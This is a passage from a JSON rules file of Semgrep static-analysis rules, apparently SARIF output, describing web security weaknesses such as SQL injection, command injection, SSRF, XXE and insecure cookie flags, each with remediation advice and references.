the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","id":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","name":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"help":{"markdown":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","id":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","name":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"help":{"markdown":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","id":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","name":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite)\n - [https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application](https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","id":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","name":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","id":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","name":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"help":{"markdown":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure)\n - [https://cwe.mitre.org/data/definitions/209.html](https://cwe.mitre.org/data/definitions/209.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n","text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","id":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","name":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","properties":{"precision":"very-high","tags":["CWE-209: Generation of Error Message Containing Sensitive Information","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","id":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","name":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection)\n - [https://www.php.net/manual/en/ref.exec.php](https://www.php.net/manual/en/ref.exec.php)\n - [https://www.php.net/manual/en/ref.filesystem.php](https://www.php.net/manual/en/ref.filesystem.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection","id":"php.laravel.security.laravel-command-injection.laravel-command-injection","name":"php.laravel.security.laravel-command-injection.laravel-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-command-injection.laravel-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","id":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","name":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"help":{"markdown":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv)\n - [https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection](https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection)\n","text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv","id":"python.lang.security.audit.conn_recv.multiprocessing-recv","name":"python.lang.security.audit.conn_recv.multiprocessing-recv","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.conn_recv.multiprocessing-recv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"help":{"markdown":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n","text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection","id":"javascript.express.security.audit.remote-property-injection.remote-property-injection","name":"javascript.express.security.audit.remote-property-injection.remote-property-injection","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.remote-property-injection.remote-property-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"help":{"markdown":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg","id":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","name":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"help":{"markdown":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password)\n - [https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation](https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation)\n","text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password","id":"python.django.security.audit.unvalidated-password.unvalidated-password","name":"python.django.security.audit.unvalidated-password.unvalidated-password","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.unvalidated-password.unvalidated-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled)\n - 